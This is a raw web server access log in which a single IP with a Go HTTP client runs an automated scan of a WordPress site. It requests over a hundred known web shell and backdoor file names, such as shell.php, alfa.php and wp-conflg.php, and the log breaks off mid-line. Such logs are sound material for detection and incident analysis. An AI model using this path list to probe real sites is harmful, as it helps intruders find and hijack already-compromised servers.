[31/Jan/2026:19:23:24 +0300] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:28 +0300] "GET /wp-content/themes/news-portal/fm.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:33 +0300] "GET /wp-content/zoom1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:37 +0300] "GET /wp-content/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:42 +0300] "GET /wp-content/themes/covr-wpcom/assets/fonts/manrope_normal.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:46 +0300] "GET /wp-includes/css/dist/block-directory/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:46 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:47 +0300] "GET /network_xo.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:50 +0300] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:50 +0300] "GET /wp-content/222.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:53 +0300] "GET /wp-admin/dofault.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:56 +0300] "GET /wp-includes/blocks/tag-cloud/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:56 +0300] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:57 +0300] "GET /m.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:57 +0300] "GET /wp-includes/css/dist/components/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:57 +0300] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:23:59 +0300] "GET /wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:03 +0300] "GET /wp-admin/user/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:07 +0300] "GET /wp-includes/sodium_compat/lib/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:07 +0300] "GET /mah/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:11 +0300] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:15 +0300] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:15 +0300] "GET /wp-includes/blocks/post-terms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:16 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:16 +0300] "GET /wp-admin/man.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:20 +0300] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:20 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:25 +0300] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:26 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:26 +0300] "GET /wp-includes/css/dist/commands/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:26 +0300] "GET /manager.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:27 +0300] "GET /wp-includes/blocks/column/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:27 +0300] "GET /wp-content/themes/twentytwenty/assets/fonts/inter/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:31 +0300] "GET /wp-includes/blocks/separator/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:31 +0300] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:34 +0300] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:36 +0300] "GET /ufbngowues/main.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:39 +0300] "GET /wp-includes/blocks/post-comments-form/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:39 +0300] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:44 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:47 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:50 +0300] "GET /wp-includes/widgets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:54 +0300] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:54 +0300] "GET /wp-content/plugins/twenty/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:24:57 +0300] "GET /wp-includes/assets/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:02 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:07 +0300] "GET /wp-includes/js/mediaelement/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:08 +0300] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:13 +0300] "GET /wp-content/plugins/contact-form-7/wp-contact-form-7.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:18 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:23 +0300] "GET /wp-includes/blocks/paragraph/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:23 +0300] "GET /wp-includes/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:28 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:33 +0300] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:33 +0300] "GET /wp-includes/blocks/search/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:34 +0300] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:39 +0300] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:44 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:49 +0300] "GET /wp-content/plugins/elementor/includes/template-singl-portfolio.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:54 +0300] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:54 +0300] "GET /wp-includes/blocks/nextpage/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:55 +0300] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:55 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:55 +0300] "GET /wp-includes/sodium_compat/namespaced/Core/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:56 +0300] "GET /wp-includes/blocks/pullquote/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:25:56 +0300] "GET /wp-includes/customize/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:01 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:06 +0300] "GET /wp-includes/blocks/group/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:06 +0300] "GET /wp-includes/block-supports/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:10 +0300] "GET /shell3.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:15 +0300] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:20 +0300] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:21 +0300] "GET /wp-content/xp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:24 +0300] "GET /wp-includes/PHPMailer/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:26 +0300] "GET /wp-includes/css/dist/nux/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:26 +0300] "GET /wp-admin/maint/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:29 +0300] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:29 +0300] "GET /wp-includes/css/dist/edit-widgets/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:30 +0300] "GET /wp-content/languages/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:34 +0300] "GET /about/function.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:37 +0300] "GET /wp-includes/js/imgareaselect/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:37 +0300] "GET /wp-includes/blocks/query-pagination/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:38 +0300] "GET /wp-includes/blocks/video/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:38 +0300] "GET /wp-content/plugins/Iitespeed-cache/157.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:41 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:43 +0300] "GET /wp-includes/customize/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:47 +0300] "GET /.well-known/gecko-litespeed.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:50 +0300] "GET /wp-includes/blocks/comments-title/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:50 +0300] "GET /wp-includes/IXR/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:54 +0300] "GET /wp-includes/php-compat/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:26:56 +0300] "GET /wp-includes/block-bindings/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:01 +0300] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:06 +0300] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:06 +0300] "GET /wp-domain.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:11 +0300] "GET /wp-includes/block-supports/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:16 +0300] "GET /wp-content/admin-header.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:21 +0300] "GET /wp-includes/blocks/query-title/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:21 +0300] "GET /5PJcpMFsD8B.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:23 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:24 +0300] "GET /wp-includes/js/dist/development/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:24 +0300] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:25 +0300] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:26 +0300] "GET /wp-includes/images/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:26 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:29 +0300] "GET /wp-includes/blocks/comment-edit-link/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:30 +0300] "GET /wp-includes/block-patterns/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:33 +0300] "GET /wp-includes/rest-api/chosen.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:36 +0300] "GET /wp-content/uploads/elementor/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:36 +0300] "GET /wp-admin/includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:40 +0300] "GET /wp-includes/rest-api/endpoints/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:41 +0300] "GET /wp-content/themes/twentytwentythree/templates/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:41 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:44 +0300] "GET /wp-includes/html-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:46 +0300] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:49 +0300] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:49 +0300] "GET /wp-admin/datate.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:53 +0300] "GET /wp-includes/blocks/comments-pagination-numbers/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:53 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:54 +0300] "GET /wp-content/uploads/wpforms/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:54 +0300] "GET /wp-includes/js/dist/vendor/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:57 +0300] "GET /wp-includes/blocks/comments/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:57 +0300] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:27:57 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:00 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:02 +0300] "GET /wp-content/uploads/wpr-addons/forms//file_content_657f93f532f3b/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:07 +0300] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:08 +0300] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:13 +0300] "GET /wp-admin/?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:18 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:22 +0300] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:27 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:32 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:32 +0300] "GET /wp-content/plugins/gv0eai61i0kwhxf2w28z/nrhogjyecktixbal0fnt5Cdefault.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:34 +0300] "GET /gecko.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:39 +0300] "GET /wp-admin/css.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:44 +0300] "GET /assets/images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:48 +0300] "GET /wp-includes/wp.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:52 +0300] "GET /dvi1suj7vbijhcni3sCakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:57 +0300] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:28:59 +0300] "GET /index.html HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:03 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:04 +0300] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:04 +0300] "GET /gel4y.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:09 +0300] "GET /wp-content/hplfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:12 +0300] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:15 +0300] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:19 +0300] "GET /123.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:24 +0300] "GET /14bcjywsujyrjjwqegeCdefault.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:28 +0300] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:28 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:32 +0300] "GET /css/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:37 +0300] "GET /filemanager/dialog.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:42 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:43 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:43 +0300] "GET /php.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:48 +0300] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:53 +0300] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:54 +0300] "GET /adminfuns.php/.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:29:57 +0300] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:02 +0300] "GET /ahax.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:05 +0300] "GET /wp-content/themes/bltm/wp-login.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:08 +0300] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:13 +0300] "GET /help.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:17 +0300] "GET /num.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:22 +0300] "GET /wp-admin HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:27 +0300] "GET /gg.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:32 +0300] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:35 +0300] "GET /wp-admin/css/colors/blue HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:35 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:38 +0300] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:39 +0300] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:39 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:43 +0300] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:45 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:47 +0300] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:50 +0300] "GET /.well-known/pki-validation/ HTTP/1.1" 404 796 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:50 +0300] "GET /images/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:55 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:30:58 +0300] "GET /wordpress/wp-admin/maint/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:02 +0300] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:03 +0300] "GET /wp-content/plugins/g3brivy5d2ox733srcpl/4z5enevnessqqjdcxuCdefault.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:05 +0300] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:08 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:08 +0300] "GET /wa/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:12 +0300] "GET /admin.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:12 +0300] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:15 +0300] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:16 +0300] "GET /akcc.php?p= HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:20 +0300] "GET /wp-update.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:23 +0300] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:25 +0300] "GET /pwhb0t2cy9txbiga4ckhfrdsCakc.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:28 +0300] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:33 +0300] "GET /sf.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:36 +0300] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:39 +0300] "GET /link.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:43 +0300] "GET /.tresh/ HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 85.203.23.205 - - [31/Jan/2026:19:31:47 +0300] "GET /files/ 